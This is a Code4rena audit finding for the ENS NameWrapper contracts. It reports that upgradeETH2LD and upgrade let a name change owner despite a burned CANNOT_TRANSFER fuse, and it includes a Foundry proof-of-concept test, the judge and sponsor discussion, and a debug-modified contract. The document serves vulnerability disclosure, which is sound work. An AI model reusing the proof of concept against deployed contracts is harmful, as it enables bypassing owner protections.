Platform: Code4rena
Start Date: 22/11/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 3
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 5
Id: 184
League: ETH
Rank: 1/3
Findings: 3
Award: $0.00
🌟 Selected for report: 4
🚀 Solo Findings: 3
🌟 Selected for report: zzzitron
Data not available
https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L408 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L436
Upon upgrade to a new NameWrapper
contract, owner
of the node will be set to the given wrappedOwner
. Since the node will be _burn
ed before calling the upgraded NameWrapper, the upgraded NameWrapper cannot check the old owner. Therefore, no matter the upgraded NameWrapper's implementation, it locks the information to check whether the old owner and newly given wrappedOwner
are the same. If they are not the same, it means basically transferring the name to a new address.
In the case of resolver, the upgraded NameWrapper can check the old resolver by querying to the ENS
registry, and prevent changing it if CANNOT_SET_RESOLVER
fuse is burned.
Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.
The proof of concept below demonstrates upgrade process.
// https://gist.github.com/zzzitron/7670730176e35d7b2322bc1f4b9737f0#file-2022-11-ens-versus-poc-t-sol-L215-L243 function testM2TransferWhileUpgrade() public { // using the mock for upgrade contract deployNameWrapperUpgrade(); string memory node_str = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1_str = 'sub1'; (, bytes32 node) = node_str.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0)); // sanity check (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max); assertEq(expiry, 2038123728); // upgrade as nameWrapper's owner vm.prank(root_owner); nameWrapper.setUpgradeContract(nameWrapperUpgrade); assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade)); // user1 calls upgradeETH2LD vm.prank(user1); nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */); }
Even if the CANNOT_TRANSFER
fuse is in effect, the user1 can call upgradeETH2LD
with a new owner.
Before the NameWrapper.upgradeETH2LD
calls the new upgraded NameWrapper upgradeContract
, it calls _prepareUpgrade
, which burns the node in question. It means, the current NameWrapper.ownerOf(node)
will be zero.
The upgraded NameWrapper has only the given wrappedOwner
which is supplied by the user, which does not guarantee to be the old owner (as the proof of concept above shows). As the ens registry and ETH registrar also do not have any information about the old owner, the upgraded NameWrapper should probably set the owner of the node to the given wrappedOwner
, even if CANNOT_TRANSFER
fuse is in effect.
On contrary to the owner, although resolver
is given by the user on the NameWrapper.upgradeETH2LD
function, it is possible to prevent changing it if the CANNOT_SET_RESOLVER
fuse is burned, by querying to ENSRegistry
.
// NameWrapper 408 function upgradeETH2LD( 409 string calldata label, 410 address wrappedOwner, 411 address resolver 412 ) public { 413 bytes32 labelhash = keccak256(bytes(label)); 414 bytes32 node = _makeNode(ETH_NODE, labelhash); 415 (uint32 fuses, uint64 expiry) = _prepareUpgrade(node); 416 417 upgradeContract.wrapETH2LD( 418 label, 419 wrappedOwner, 420 fuses, 421 expiry, 422 resolver 423 ); 424 } 840 function _prepareUpgrade(bytes32 node) 841 private 842 returns (uint32 fuses, uint64 expiry) 843 { 844 if (address(upgradeContract) == address(0)) { 845 revert CannotUpgrade(); 846 } 847 848 if (!canModifyName(node, msg.sender)) { 849 revert Unauthorised(node, msg.sender); 850 } 851 852 (, fuses, expiry) = getData(uint256(node)); 853 854 _burn(uint256(node)); 855 }
The function NameWrapper.upgrade
has the same problem.
// NameWrapper 436 function upgrade( 437 bytes32 parentNode, 438 string calldata label, 439 address wrappedOwner, 440 address resolver 441 ) public { 442 bytes32 labelhash = keccak256(bytes(label)); 443 bytes32 node = _makeNode(parentNode, labelhash); 444 (uint32 fuses, uint64 expiry) = _prepareUpgrade(node); 445 upgradeContract.setSubnodeRecord( 446 parentNode, 447 label, 448 wrappedOwner, 449 resolver, 450 0, 451 fuses, 452 expiry 453 ); 454 }
foundry
If the CANNOT_TRANSFER
fuse is set, enforce the wrappedOwner
to be same as the NameWrapper.ownerOf(node)
.
#0 - GalloDaSballo
2022-12-04T16:57:11Z
From further testing, it seems like upgrading will ignore the value provided, here the changed POC
function testM2TransferWhileUpgrade() public { // using the mock for upgrade contract deployNameWrapperUpgrade(); string memory node_str = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1_str = 'sub1'; (, bytes32 node) = node_str.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0)); // sanity check (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max); assertEq(expiry, 2038123728); // upgrade as nameWrapper's owner vm.prank(root_owner); nameWrapper.setUpgradeContract(nameWrapperUpgrade); assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade)); // user1 calls upgradeETH2LD vm.prank(user1); address newOwner = address(123); nameWrapper.upgradeETH2LD('vitalik', newOwner , address(531) /* resolver */); address secondOwner = nameWrapper.ownerOf(uint256(node)); assertEq(secondOwner, newOwner); }
Which reverts as the secondOwner is actually address(0)
#1 - GalloDaSballo
2022-12-04T17:06:17Z
Changing the last line to
assertEq(secondOwner, address(0));
Makes the test pass
#2 - jefflau
2022-12-05T15:28:31Z
In the case of resolver, the upgraded NameWrapper can check the old resolver by querying to the ENS registry, and prevent changing it if CANNOT_SET_RESOLVER fuse is burned.
For this specific case, the public resolver checks for the owner on the NameWrapper. If the NameWrapper needed to be upgraded for any reason, the old resolver would be checking the old NameWrapper, and since the owner would be burnt, they would lock all records. So for this case I think it's reasonable to allow CANNOT_SET_RESOLVER
to be bypassed in this specific case.
From further testing, it seems like upgrading will ignore the value provided, here the changed POC
I think this test is incorrect, you should be checking the new NameWrapper, not the old NameWrapper. I believe this would pass:
address secondOwner = nameWrapperUpgrade.ownerOf(uint256(node)); assertEq(secondOwner, newOwner);
All things consider - I think the CANNOT_TRANSFER
restriction that the warden mentioned does make sense.
#3 - c4-sponsor
2022-12-05T16:04:29Z
jefflau marked the issue as sponsor confirmed
#4 - GalloDaSballo
2022-12-07T00:29:35Z
@jefflau Took me a while but I have to agree with you, querying ownerOf on the nameWrapperUpgrade
will return the new owner.
I wrote a Bodge to make it work, but would like to flag that the function wrapETH2LD
uses different parameters, and also the size of fuses is changed (uint32 vs uint16).
Am assuming the upgradedWrapper will have a check for the old wrapper being the caller
Below the code changes I made to verify the finding
//SPDX-License-Identifier: MIT pragma solidity ~0.8.17; import {ERC1155Fuse, IERC165} from "./ERC1155Fuse.sol"; import {Controllable} from "./Controllable.sol"; import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "./INameWrapper.sol"; import {INameWrapperUpgrade} from "./INameWrapperUpgrade.sol"; import {IMetadataService} from "./IMetadataService.sol"; import {ENS} from "../registry/ENS.sol"; import {IBaseRegistrar} from "../ethregistrar/IBaseRegistrar.sol"; import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {BytesUtils} from "./BytesUtils.sol"; import {ERC20Recoverable} from "../utils/ERC20Recoverable.sol"; error Unauthorised(bytes32 node, address addr); error IncompatibleParent(); error IncorrectTokenType(); error LabelMismatch(bytes32 labelHash, bytes32 expectedLabelhash); error LabelTooShort(); error LabelTooLong(string label); error IncorrectTargetOwner(address owner); error CannotUpgrade(); error OperationProhibited(bytes32 node); contract NameWrapper is Ownable, ERC1155Fuse, INameWrapper, Controllable, IERC721Receiver, ERC20Recoverable { using BytesUtils for bytes; ENS public immutable override ens; IBaseRegistrar public immutable override registrar; IMetadataService public override metadataService; mapping(bytes32 => bytes) public override names; string public constant name = "NameWrapper"; uint64 private constant GRACE_PERIOD = 90 days; bytes32 private constant ETH_NODE = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae; bytes32 private constant ETH_LABELHASH = 0x4f5b812789fc606be1b3b16908db13fc7a9adf7ca72641f84d75b47069d3d7f0; bytes32 private constant ROOT_NODE = 0x0000000000000000000000000000000000000000000000000000000000000000; INameWrapperUpgrade public upgradeContract; uint64 private constant MAX_EXPIRY = type(uint64).max; constructor( ENS _ens, IBaseRegistrar _registrar, IMetadataService _metadataService ) { ens = _ens; registrar = _registrar; metadataService = _metadataService; /* Burn PARENT_CANNOT_CONTROL and CANNOT_UNWRAP fuses for ROOT_NODE and ETH_NODE */ _setData( uint256(ETH_NODE), address(0), uint32(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP), MAX_EXPIRY ); _setData( uint256(ROOT_NODE), address(0), uint32(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP), MAX_EXPIRY ); names[ROOT_NODE] = "\x00"; names[ETH_NODE] = "\x03eth\x00"; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Fuse, IERC165) returns (bool) { return interfaceId == type(INameWrapper).interfaceId || interfaceId == type(IERC721Receiver).interfaceId || super.supportsInterface(interfaceId); } /* ERC1155 Fuse */ /** * @notice Gets the owner of a name * @param id Label as a string of the .eth domain to wrap * @return owner The owner of the name */ function ownerOf(uint256 id) public view override(ERC1155Fuse, INameWrapper) returns (address owner) { return super.ownerOf(id); } /** * @notice Gets the data for a name * @param id Namehash of the name * @return owner Owner of the name * @return fuses Fuses of the name * @return expiry Expiry of the name */ function getData(uint256 id) public view override(ERC1155Fuse, INameWrapper) returns ( address owner, uint32 fuses, uint64 expiry ) { (owner, fuses, expiry) = super.getData(id); bytes32 labelhash = _getEthLabelhash(bytes32(id), fuses); if (labelhash != bytes32(0)) { expiry = uint64(registrar.nameExpires(uint256(labelhash))) + GRACE_PERIOD; } if (expiry < block.timestamp) { if (fuses & PARENT_CANNOT_CONTROL == PARENT_CANNOT_CONTROL) { owner = address(0); } fuses = 0; } } /* Metadata service */ /** * @notice Set the metadata service. Only the owner can do this * @param _metadataService The new metadata service */ function setMetadataService(IMetadataService _metadataService) public onlyOwner { metadataService = _metadataService; } /** * @notice Get the metadata uri * @param tokenId The id of the token * @return string uri of the metadata service */ function uri(uint256 tokenId) public view override returns (string memory) { return metadataService.uri(tokenId); } /** * @notice Set the address of the upgradeContract of the contract. only admin can do this * @dev The default value of upgradeContract is the 0 address. Use the 0 address at any time * to make the contract not upgradable. * @param _upgradeAddress address of an upgraded contract */ function setUpgradeContract(INameWrapperUpgrade _upgradeAddress) public onlyOwner { if (address(upgradeContract) != address(0)) { registrar.setApprovalForAll(address(upgradeContract), false); ens.setApprovalForAll(address(upgradeContract), false); } upgradeContract = _upgradeAddress; if (address(upgradeContract) != address(0)) { registrar.setApprovalForAll(address(upgradeContract), true); ens.setApprovalForAll(address(upgradeContract), true); } } /** * @notice Checks if msg.sender is the owner or approved by the owner of a name * @param node namehash of the name to check */ modifier onlyTokenOwner(bytes32 node) { if (!canModifyName(node, msg.sender)) { revert Unauthorised(node, msg.sender); } _; } /** * @notice Checks if owner or approved by owner * @param node namehash of the name to check * @param addr which address to check permissions for * @return whether or not is owner or approved */ function canModifyName(bytes32 node, address addr) public view override returns (bool) { (address owner, uint32 fuses, uint64 expiry) = getData(uint256(node)); return (owner == addr || isApprovedForAll(owner, addr)) && (fuses & IS_DOT_ETH == 0 || expiry - GRACE_PERIOD >= block.timestamp); } event Debug(string name); /** * @notice Wraps a .eth domain, creating a new token and sending the original ERC721 token to this contract * @dev Can be called by the owner of the name on the .eth registrar or an authorised caller on the registrar * @param label Label as a string of the .eth domain to wrap * @param wrappedOwner Owner of the name in this contract * @param ownerControlledFuses Initial owner-controlled fuses to set * @param resolver Resolver contract address */ function wrapETH2LD( string calldata label, address wrappedOwner, uint16 ownerControlledFuses, address resolver ) public override { emit Debug("A1"); uint256 tokenId = uint256(keccak256(bytes(label))); emit Debug("A2"); address registrant = registrar.ownerOf(tokenId); emit Debug("A3"); if ( registrant != msg.sender && !registrar.isApprovedForAll(registrant, msg.sender) ) { revert Unauthorised( _makeNode(ETH_NODE, bytes32(tokenId)), msg.sender ); } emit Debug("1"); // transfer the token from the user to this contract registrar.transferFrom(registrant, address(this), tokenId); // transfer the ens record back to the new owner (this contract) registrar.reclaim(tokenId, address(this)); emit Debug("2"); _wrapETH2LD(label, wrappedOwner, ownerControlledFuses, resolver); } function wrapETH2LD( string calldata label, address wrappedOwner, uint32 ownerControlledFuses, uint64 expiry, address resolver ) public { emit Debug("A1"); uint256 tokenId = uint256(keccak256(bytes(label))); emit Debug("A2"); address registrant = registrar.ownerOf(tokenId); emit Debug("A3"); if ( registrant != msg.sender && !registrar.isApprovedForAll(registrant, msg.sender) ) { revert Unauthorised( _makeNode(ETH_NODE, bytes32(tokenId)), msg.sender ); } emit Debug("1"); // transfer the token from the user to this contract registrar.transferFrom(registrant, address(this), tokenId); // transfer the ens record back to the new owner (this contract) registrar.reclaim(tokenId, address(this)); emit Debug("2"); _wrapETH2LD(label, wrappedOwner, uint16(ownerControlledFuses), resolver); } /** * @dev Registers a new .eth second-level domain and wraps it. * Only callable by authorised controllers. * @param label The label to register (Eg, 'foo' for 'foo.eth'). * @param wrappedOwner The owner of the wrapped name. * @param duration The duration, in seconds, to register the name for. * @param resolver The resolver address to set on the ENS registry (optional). * @param ownerControlledFuses Initial owner-controlled fuses to set * @return registrarExpiry The expiry date of the new name on the .eth registrar, in seconds since the Unix epoch. */ function registerAndWrapETH2LD( string calldata label, address wrappedOwner, uint256 duration, address resolver, uint16 ownerControlledFuses ) external override onlyController returns (uint256 registrarExpiry) { uint256 tokenId = uint256(keccak256(bytes(label))); registrarExpiry = registrar.register(tokenId, address(this), duration); _wrapETH2LD(label, wrappedOwner, ownerControlledFuses, resolver); } /** * @notice Renews a .eth second-level domain. * @dev Only callable by authorised controllers. * @param tokenId The hash of the label to register (eg, `keccak256('foo')`, for 'foo.eth'). * @param duration The number of seconds to renew the name for. * @return expires The expiry date of the name on the .eth registrar, in seconds since the Unix epoch. */ function renew( uint256 tokenId, uint256 duration ) external override onlyController returns (uint256 expires) { return registrar.renew(tokenId, duration); } /** * @notice Wraps a non .eth domain, of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain * @dev Can be called by the owner in the registry or an authorised caller in the registry * @param name The name to wrap, in DNS format * @param wrappedOwner Owner of the name in this contract * @param resolver Resolver contract */ function wrap( bytes calldata name, address wrappedOwner, address resolver ) public override { (bytes32 labelhash, uint256 offset) = name.readLabel(0); bytes32 parentNode = name.namehash(offset); bytes32 node = _makeNode(parentNode, labelhash); names[node] = name; if (parentNode == ETH_NODE) { revert IncompatibleParent(); } address owner = ens.owner(node); if (owner != msg.sender && !ens.isApprovedForAll(owner, msg.sender)) { revert Unauthorised(node, msg.sender); } if (resolver != address(0)) { ens.setResolver(node, resolver); } ens.setOwner(node, address(this)); _wrap(node, name, wrappedOwner, 0, 0); } /** * @notice Unwraps a .eth domain. e.g. vitalik.eth * @dev Can be called by the owner in the wrapper or an authorised caller in the wrapper * @param labelhash Labelhash of the .eth domain * @param registrant Sets the owner in the .eth registrar to this address * @param controller Sets the owner in the registry to this address */ function unwrapETH2LD( bytes32 labelhash, address registrant, address controller ) public override onlyTokenOwner(_makeNode(ETH_NODE, labelhash)) { if (registrant == address(this)) { revert IncorrectTargetOwner(registrant); } _unwrap(_makeNode(ETH_NODE, labelhash), controller); registrar.safeTransferFrom( address(this), registrant, uint256(labelhash) ); } /** * @notice Unwraps a non .eth domain, of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain * @dev Can be called by the owner in the wrapper or an authorised caller in the wrapper * @param parentNode Parent namehash of the name e.g. vitalik.xyz would be namehash('xyz') * @param labelhash Labelhash of the name, e.g. vitalik.xyz would be keccak256('vitalik') * @param controller Sets the owner in the registry to this address */ function unwrap( bytes32 parentNode, bytes32 labelhash, address controller ) public override onlyTokenOwner(_makeNode(parentNode, labelhash)) { if (parentNode == ETH_NODE) { revert IncompatibleParent(); } if (controller == address(0x0) || controller == address(this)) { revert IncorrectTargetOwner(controller); } _unwrap(_makeNode(parentNode, labelhash), controller); } /** * @notice Sets fuses of a name * @param node Namehash of the name * @param ownerControlledFuses Owner-controlled fuses to burn * @return New fuses */ function setFuses(bytes32 node, uint16 ownerControlledFuses) public onlyTokenOwner(node) operationAllowed(node, CANNOT_BURN_FUSES) returns (uint32) { // owner protected by onlyTokenOwner (address owner, uint32 oldFuses, uint64 expiry) = getData( uint256(node) ); _setFuses(node, owner, ownerControlledFuses | oldFuses, expiry); return ownerControlledFuses; } event DebugAdd(address); /** * @notice Upgrades a .eth wrapped domain by calling the wrapETH2LD function of the upgradeContract * and burning the token of this contract * @dev Can be called by the owner of the name in this contract * @param label Label as a string of the .eth name to upgrade * @param wrappedOwner The owner of the wrapped name */ function upgradeETH2LD( string calldata label, address wrappedOwner, address resolver ) public { emit Debug("01"); bytes32 labelhash = keccak256(bytes(label)); emit Debug("02"); bytes32 node = _makeNode(ETH_NODE, labelhash); emit Debug("03"); (uint32 fuses, uint64 expiry) = _prepareUpgrade(node); emit Debug("04"); emit DebugAdd(address(upgradeContract)); upgradeContract.wrapETH2LD( label, wrappedOwner, fuses, expiry, resolver ); } /** * @notice Upgrades a non .eth domain of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain * @dev Can be called by the owner or an authorised caller * Requires upgraded Namewrapper to permit old Namewrapper to call `setSubnodeRecord` for all names * @param parentNode Namehash of the parent name * @param label Label as a string of the name to upgrade * @param wrappedOwner Owner of the name in this contract * @param resolver Resolver contract for this name */ function upgrade( bytes32 parentNode, string calldata label, address wrappedOwner, address resolver ) public { bytes32 labelhash = keccak256(bytes(label)); bytes32 node = _makeNode(parentNode, labelhash); (uint32 fuses, uint64 expiry) = _prepareUpgrade(node); upgradeContract.setSubnodeRecord( parentNode, label, wrappedOwner, resolver, 0, fuses, expiry ); } /** /* @notice Sets fuses of a name that you own the parent of. Can also be called by the owner of a .eth name * @param parentNode Parent namehash of the name e.g. vitalik.xyz would be namehash('xyz') * @param labelhash Labelhash of the name, e.g. vitalik.xyz would be keccak256('vitalik') * @param fuses Fuses to burn * @param expiry When the name will expire in seconds since the Unix epoch */ function setChildFuses( bytes32 parentNode, bytes32 labelhash, uint32 fuses, uint64 expiry ) public { bytes32 node = _makeNode(parentNode, labelhash); _checkFusesAreSettable(node, fuses); (address owner, uint32 oldFuses, uint64 oldExpiry) = getData(uint256(node)); // max expiry is set to the expiry of the parent (, uint32 parentFuses, uint64 maxExpiry) = getData( uint256(parentNode) ); if (parentNode == ROOT_NODE) { if (!canModifyName(node, msg.sender)) { revert Unauthorised(node, msg.sender); } } else { if (!canModifyName(parentNode, msg.sender)) { revert Unauthorised(node, msg.sender); } } _checkParentFuses(node, fuses, parentFuses); expiry = _normaliseExpiry(expiry, oldExpiry, maxExpiry); // if PARENT_CANNOT_CONTROL has been burned and fuses have changed if ( oldFuses & PARENT_CANNOT_CONTROL != 0 && oldFuses | fuses != oldFuses ) { revert OperationProhibited(node); } fuses |= oldFuses; _setFuses(node, owner, fuses, expiry); } /** * @notice Sets the subdomain owner in the registry and then wraps the subdomain * @param parentNode Parent namehash of the subdomain * @param label Label of the subdomain as a string * @param owner New owner in the wrapper * @param fuses Initial fuses for the wrapped subdomain * @param expiry When the name will expire in seconds since the Unix epoch * @return node Namehash of the subdomain */ function setSubnodeOwner( bytes32 parentNode, string calldata label, address owner, uint32 fuses, uint64 expiry ) public onlyTokenOwner(parentNode) canCallSetSubnodeOwner(parentNode, keccak256(bytes(label))) returns (bytes32 node) { bytes32 labelhash = keccak256(bytes(label)); node = _makeNode(parentNode, labelhash); _checkFusesAreSettable(node, fuses); bytes memory name = _saveLabel(parentNode, node, label); expiry = _checkParentFusesAndExpiry(parentNode, node, fuses, expiry); if (ownerOf(uint256(node)) == address(0)) { ens.setSubnodeOwner(parentNode, labelhash, address(this)); _wrap(node, name, owner, fuses, expiry); } else { _updateName(parentNode, node, label, owner, fuses, expiry); } } /** * @notice Sets the subdomain owner in the registry with records and then wraps the subdomain * @param parentNode parent namehash of the subdomain * @param label label of the subdomain as a string * @param owner new owner in the wrapper * @param resolver resolver contract in the registry * @param ttl ttl in the regsitry * @param fuses initial fuses for the wrapped subdomain * @param expiry When the name will expire in seconds since the Unix epoch * @return node Namehash of the subdomain */ function setSubnodeRecord( bytes32 parentNode, string memory label, address owner, address resolver, uint64 ttl, uint32 fuses, uint64 expiry ) public onlyTokenOwner(parentNode) canCallSetSubnodeOwner(parentNode, keccak256(bytes(label))) returns (bytes32 node) { bytes32 labelhash = keccak256(bytes(label)); node = _makeNode(parentNode, labelhash); _checkFusesAreSettable(node, fuses); _saveLabel(parentNode, node, label); expiry = _checkParentFusesAndExpiry(parentNode, node, fuses, expiry); if (ownerOf(uint256(node)) == address(0)) { ens.setSubnodeRecord( parentNode, labelhash, address(this), resolver, ttl ); _storeNameAndWrap(parentNode, node, label, owner, fuses, expiry); } else { ens.setSubnodeRecord( parentNode, labelhash, address(this), resolver, ttl ); _updateName(parentNode, node, label, owner, fuses, expiry); } } /** * @notice Sets records for the name in the ENS Registry * @param node Namehash of the name to set a record for * @param owner New owner in the registry * @param resolver Resolver contract * @param ttl Time to live in the registry */ function setRecord( bytes32 node, address owner, address resolver, uint64 ttl ) public override onlyTokenOwner(node) operationAllowed( node, CANNOT_TRANSFER | CANNOT_SET_RESOLVER | CANNOT_SET_TTL ) { ens.setRecord(node, address(this), resolver, ttl); if (owner == address(0)) { (, uint32 fuses, ) = getData(uint256(node)); if (fuses & IS_DOT_ETH == IS_DOT_ETH) { revert IncorrectTargetOwner(owner); } _unwrap(node, address(0)); } else { address oldOwner = ownerOf(uint256(node)); _transfer(oldOwner, owner, uint256(node), 1, ""); } } /** * @notice Sets resolver contract in the registry * @param node namehash of the name * @param resolver the resolver contract */ function setResolver(bytes32 node, address resolver) public override onlyTokenOwner(node) operationAllowed(node, CANNOT_SET_RESOLVER) { ens.setResolver(node, resolver); } /** * @notice Sets TTL in the registry * @param node Namehash of the name * @param ttl TTL in the registry */ function setTTL(bytes32 node, uint64 ttl) public override onlyTokenOwner(node) operationAllowed(node, CANNOT_SET_TTL) { ens.setTTL(node, ttl); } /** * @dev Allows an operation only if none of the specified fuses are burned. * @param node The namehash of the name to check fuses on. * @param fuseMask A bitmask of fuses that must not be burned. */ modifier operationAllowed(bytes32 node, uint32 fuseMask) { (, uint32 fuses, ) = getData(uint256(node)); if (fuses & fuseMask != 0) { revert OperationProhibited(node); } _; } /** * @notice Check whether a name can call setSubnodeOwner/setSubnodeRecord * @dev Checks both CANNOT_CREATE_SUBDOMAIN and PARENT_CANNOT_CONTROL and whether not they have been burnt * and checks whether the owner of the subdomain is 0x0 for creating or already exists for * replacing a subdomain. If either conditions are true, then it is possible to call * setSubnodeOwner * @param node Namehash of the name to check * @param labelhash Labelhash of the name to check */ modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) { bytes32 subnode = _makeNode(node, labelhash); address owner = ens.owner(subnode); if (owner == address(0)) { (, uint32 fuses, ) = getData(uint256(node)); if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } } else { (, uint32 subnodeFuses, ) = getData(uint256(subnode)); if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) { revert OperationProhibited(subnode); } } _; } /** * @notice Checks all Fuses in the mask are burned for the node * @param node Namehash of the name * @param fuseMask The fuses you want to check * @return Boolean of whether or not all the selected fuses are burned */ function allFusesBurned(bytes32 node, uint32 fuseMask) public view override returns (bool) { (, uint32 fuses, ) = getData(uint256(node)); return fuses & fuseMask == fuseMask; } function onERC721Received( address to, address, uint256 tokenId, bytes calldata data ) public override returns (bytes4) { //check if it's the eth registrar ERC721 if (msg.sender != address(registrar)) { revert IncorrectTokenType(); } ( string memory label, address owner, uint16 ownerControlledFuses, address resolver ) = abi.decode(data, (string, address, uint16, address)); bytes32 labelhash = bytes32(tokenId); bytes32 labelhashFromData = keccak256(bytes(label)); if (labelhashFromData != labelhash) { revert LabelMismatch(labelhashFromData, labelhash); } // transfer the ens record back to the new owner (this contract) registrar.reclaim(uint256(labelhash), address(this)); _wrapETH2LD(label, owner, ownerControlledFuses, resolver); return IERC721Receiver(to).onERC721Received.selector; } /***** Internal functions */ function _preTransferCheck(uint256 id, uint32 fuses, uint64 expiry) internal view override returns (bool) { // For this check, treat .eth 2LDs as expiring at the start of the grace period. if(fuses & IS_DOT_ETH == IS_DOT_ETH) { expiry -= GRACE_PERIOD; } if(expiry < block.timestamp) { // Transferable if the name was not emancipated if(fuses & PARENT_CANNOT_CONTROL != 0) { revert("ERC1155: insufficient balance for transfer"); } } else { // Transferable if CANNOT_TRANSFER is unburned if(fuses & CANNOT_TRANSFER != 0) { revert OperationProhibited(bytes32(id)); } } } function _makeNode(bytes32 node, bytes32 labelhash) private pure returns (bytes32) { return keccak256(abi.encodePacked(node, labelhash)); } function _addLabel(string memory label, bytes memory name) internal pure returns (bytes memory ret) { if (bytes(label).length < 1) { revert LabelTooShort(); } if (bytes(label).length > 255) { revert LabelTooLong(label); } return abi.encodePacked(uint8(bytes(label).length), label, name); } function _mint( bytes32 node, address owner, uint32 fuses, uint64 expiry ) internal override { _canFusesBeBurned(node, fuses); address oldOwner = ownerOf(uint256(node)); if (oldOwner != address(0)) { // burn and unwrap old token of old owner _burn(uint256(node)); emit NameUnwrapped(node, address(0)); } super._mint(node, owner, fuses, expiry); } function _wrap( bytes32 node, bytes memory name, address wrappedOwner, uint32 fuses, uint64 expiry ) internal { _mint(node, wrappedOwner, fuses, expiry); emit NameWrapped(node, name, wrappedOwner, fuses, expiry); } function _storeNameAndWrap( bytes32 parentNode, bytes32 node, string memory label, address owner, uint32 fuses, uint64 expiry ) internal { bytes memory name = _addLabel(label, names[parentNode]); _wrap(node, name, owner, fuses, expiry); } function _saveLabel( bytes32 parentNode, bytes32 node, string memory label ) internal returns (bytes memory) { bytes memory name = _addLabel(label, names[parentNode]); names[node] = name; return name; } function _prepareUpgrade(bytes32 node) private returns (uint32 fuses, uint64 expiry) { if (address(upgradeContract) == address(0)) { revert CannotUpgrade(); } if (!canModifyName(node, msg.sender)) { revert Unauthorised(node, msg.sender); } (, fuses, expiry) = getData(uint256(node)); _burn(uint256(node)); } function _updateName( bytes32 parentNode, bytes32 node, string memory label, address owner, uint32 fuses, uint64 expiry ) internal { address oldOwner = ownerOf(uint256(node)); bytes memory name = _addLabel(label, names[parentNode]); if (names[node].length == 0) { names[node] = name; } _setFuses(node, oldOwner, fuses, expiry); if (owner == address(0)) { _unwrap(node, address(0)); } else { _transfer(oldOwner, owner, uint256(node), 1, ""); } } // wrapper function for stack limit function _checkParentFusesAndExpiry( bytes32 parentNode, bytes32 node, uint32 fuses, uint64 expiry ) internal view returns (uint64) { (, , uint64 oldExpiry) = getData(uint256(node)); (, uint32 parentFuses, uint64 maxExpiry) = getData( uint256(parentNode) ); _checkParentFuses(node, fuses, parentFuses); return _normaliseExpiry(expiry, oldExpiry, maxExpiry); } function _checkParentFuses( bytes32 node, uint32 fuses, uint32 parentFuses ) internal pure { bool isBurningParentControlledFuses = fuses & PARENT_CONTROLLED_FUSES != 0; bool parentHasNotBurnedCU = parentFuses & CANNOT_UNWRAP == 0; if (isBurningParentControlledFuses && parentHasNotBurnedCU) { revert OperationProhibited(node); } } function _normaliseExpiry( uint64 expiry, uint64 oldExpiry, uint64 maxExpiry ) internal pure returns (uint64) { // Expiry cannot be more than maximum allowed // .eth names will check registrar, non .eth check parent if (expiry > maxExpiry) { expiry = maxExpiry; } // Expiry cannot be less than old expiry if (expiry < oldExpiry) { expiry = oldExpiry; } return expiry; } function _wrapETH2LD( string memory label, address wrappedOwner, uint16 ownerControlledFuses, address resolver ) private { bytes32 labelhash = keccak256(bytes(label)); bytes32 node = _makeNode(ETH_NODE, labelhash); // hardcode dns-encoded eth string for gas savings bytes memory name = _addLabel(label, "\x03eth\x00"); names[node] = name; uint64 expiry = uint64(registrar.nameExpires(uint256(labelhash))) + GRACE_PERIOD; emit Debug("3"); _wrap( node, name, wrappedOwner, ownerControlledFuses | PARENT_CANNOT_CONTROL | IS_DOT_ETH, expiry ); emit Debug("5"); emit Debug("6"); } function _unwrap(bytes32 node, address owner) private { if (allFusesBurned(node, CANNOT_UNWRAP)) { revert OperationProhibited(node); } // Burn token and fuse data _burn(uint256(node)); ens.setOwner(node, owner); emit NameUnwrapped(node, owner); } function _setFuses( bytes32 node, address owner, uint32 fuses, uint64 expiry ) internal { _setData(node, owner, fuses, expiry); emit FusesSet(node, fuses, expiry); } function _setData( bytes32 node, address owner, uint32 fuses, uint64 expiry ) internal { _canFusesBeBurned(node, fuses); super._setData(uint256(node), owner, fuses, expiry); } 